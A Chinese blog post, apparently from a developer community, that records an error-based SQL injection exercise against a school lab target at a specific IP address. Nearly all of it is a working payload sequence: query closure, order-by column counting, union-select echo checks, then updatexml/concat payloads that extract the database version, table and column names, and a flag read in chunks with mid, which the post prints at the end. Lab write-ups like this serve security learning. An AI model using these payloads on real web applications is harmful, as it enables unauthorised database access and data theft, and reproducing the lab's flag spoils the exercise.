首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >记一次报错注入的学校靶场

记一次报错注入的学校靶场

原创
作者头像
用户8478947
发布2022-09-20 14:17:24
发布2022-09-20 14:17:24
2880
举报
文章被收录于专栏:安全学习安全学习

闭合

代码语言:javascript
复制
http://47.103.94.191:8034/show.php?id=33--+

查列数

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

查看回显

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=333 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

查看数据库名字、版本

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,version(),0x7e,database(),0x7e),2)--+

查看表名(这里对输出的个数有限制,因此使用limit进行限制)

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='cms' limit 8,1),0x7e),2)--+

查看列名

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='cms' and table_name='this_is_flag' limit 1,1),0x7e),2)--+

查看数据(这里由于flag太长了,无法一次显示,因此使用mid进行截断)

首先查看下flag的长度

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select length(flag) from cms.this_is_flag),0x7e),2)--+
代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,1,10) from cms.this_is_flag),0x7e),2)--+
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,11,20) from cms.this_is_flag),0x7e),2)--+
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,21,30) from cms.this_is_flag),0x7e),2)--+

flag

代码语言:javascript
复制
flag{16aeb3e6d73689bf456c5c50f2d04b84}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档